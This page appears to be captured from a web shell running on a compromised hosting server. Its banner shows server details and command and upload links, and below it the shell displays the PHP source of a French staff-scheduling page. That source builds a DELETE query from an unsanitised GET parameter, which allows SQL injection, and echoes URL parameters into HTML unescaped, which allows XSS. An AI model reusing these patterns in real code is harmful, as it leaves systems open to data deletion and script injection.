|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// echo "mamtta <br/>" ;
session_start();
if($_GET['sup']== 1)
{
$presta_id = $_GET['presta_id'] ;
dbi_query(" DELETE FROM `prestation_contrat` WHERE presta_id = $presta_id ") ;
header('Location:prest_salarie.php?msg= <strong> Bien : </strong>la prestation est bien supprimé&color=success');
}
?><html>
<head>
<?php include('header.php'); ?>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
<li>
<!-- bouton E-->
</li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav>
<!-- BARRE DE NAVIGATION -->
<?php include('menu.php'); ?>
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch" >
</div>
</div>
</div>
</div>
</div><!-- /.row -->
</div>
</div>
<!-- /.content-header -->
<!-- PAGE PRINCIPALE -->
<script language="Javascript">
function GetIdBureauB()
{
var id_etab="";
id_etab = document.client_statu_form.client_etab.value ;
if( id_etab > 0 || id_etab=="INDEFINI" )
window.location = "salaries2.php?id_etab="+id_etab;
else
window.location = "salaries2.php";
}
</script>
<?php
$_SESSION["id_etab"]= 111 ;
$_SESSION["id_statu"]=2 ;
// echo "==>".$_SESSION["id_etab"]."<br/>" ;
// echo "==>".$_SESSION["id_statu"]."<br/>" ;
if(!empty( $_GET["id_statu"]))
{
$_SESSION["id_statu"] = $_GET["id_statu"];
}
if(!empty( $_GET["id_etab"]))
{
$_SESSION["id_etab"] = $_GET["id_etab"];
}
if($_SESSION["id_etab"]== 111){
$where_etablissement_id="" ;
}
else{
$where_etablissement_id = " AND c.etablissement_id = ".$_SESSION["id_etab"] ;
}
// <!-- 6 ya3ni tous les clients / 4 ya3ni Clients inactifs / 2 Client actifs -->
if($_SESSION["id_statu"]==6)
{
$where_statut = "" ;
}
if($_SESSION["id_statu"]==4)
{
$where_statut = " AND c.salarie_statut = '0' " ;
}
if($_SESSION["id_statu"]==2)
{
$where_statut = " AND c.salarie_statut = '1' " ;
}
// echo "<pre>" ;
// print_r($_GET) ;
// echo "</pre>" ;
// echo "--------- <br/>" ;
// echo "<pre>" ;
// print_r($_SESSION) ;
// echo "</pre>" ;
?>
<section class="content">
<div class="row">
<div class="col-12">
<div class="card card-primary card-outline">
<div class="card-header">
<div class="row">
<div class="col-sm-11">
<div class="col-sm-11"><h3 class="card-title"> Planning </h3> </div>
</div>
</div>
</div>
<div class="card-body">
<?php
if(isset($_GET["msg"])){
?>
<div class="alert alert-<?php echo $_GET["color"]; ?> alert-dismissible col-12" role="alert">
<strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
}
?>
<form id="client_statu_form" name="client_statu_form" method="POST" action="">
<div class="form-row">
<!-- liste déroulante -->
</div>
</form>
<div class="onglet_dotted">
<div style="width:100%; float:left; vertical-align:top" class="header_ray">
<div id="tab">
<div class="box-body">
<table id="example1" class="table table-bordered table-striped">
<thead>
<tr>
<th>Nom salarie</th> <!-- /.Table Client - Champs client_nom -->
<th>Nom client</th> <!-- /.Table Client - Champs client_adr1 -->
<th>Heure de début </th> <!-- /.Table Client - Champs client_cp -->
<th>heure de Fin</th> <!-- /.Table Client - Champs client_ville -->
<th> durée par min </th> <!-- /.Table Client - Champs client_ville -->
<th> </th> <!-- /.Table Client - Champs client_id -->
</tr>
</thead>
<tbody>
<?php $query = dbi_query("SELECT * FROM `prestation_contrat` pc , salarie s , client c WHERE pc.salarie_id = s.salarie_id and pc.client_id = c.client_id; ");
// echo "SELECT * FROM client c, etablissement etab,categorie cat where c.etablissement_id = etab.etablissement_id and c.categorie_id = cat.categorie_id $where_statut $where_etablissement_id ORDER BY c.`client_nom` ASC " ;
while($cl = dbi_fetch_row($query)){
?>
<tr>
<td> <a href="calendar2.php?link=salarie&page=aaa&salarie_id= <?php echo $cl['salarie_id'] ; ?>" target="" ><?php echo $cl['salarie_nom']." ".$cl['salarie_prenom']; ?> </a></td>
<td> <a href="calendar2.php?link=salarie&page=aaa&salarie_id= <?php echo $cl['salarie_id'] ; ?>" target="" ><?php echo $cl['client_nom'] ; ?> </a></td>
<td> <?php echo int2heure($cl['presta_Hdeb']); ?></td>
<td> <?php echo int2heure(addDuree($cl['presta_Hdeb'], $cl['presta_Hduree']) ); ?></td>
<td> <?php echo $cl['presta_Hduree']; ?></td>
<td>
<a class="btn btn-danger btn-sm" href="prest_salarie.php?presta_id=<?=$cl['presta_id']?>&sup=1" onclick="return confirm('Voulez-vous vraiment supprimer cet prestation ?');">
<i class="fas fa-trash"></i>
</td>
</tr>
<?php }?>
</tbody>
</table><!-- /.table -->
</div><!-- /.box-body -->
</div><!-- /.tab -->
</div><!-- /.header_ray -->
</div><!-- /.onglet_dotted -->
</div><!-- /.card-body -->
</div><!-- /.card card-primary card-outline -->
</div> <!-- /.col-12 -->
</div> <!-- /.row -->
</section> <!-- /.section -->
</div>
<?php include('footerr.php'); ?>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'ajaxAjoutMatR.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch').html(data);//Show fetched data from database
}
});
});
});
</script>
</body>
</html>
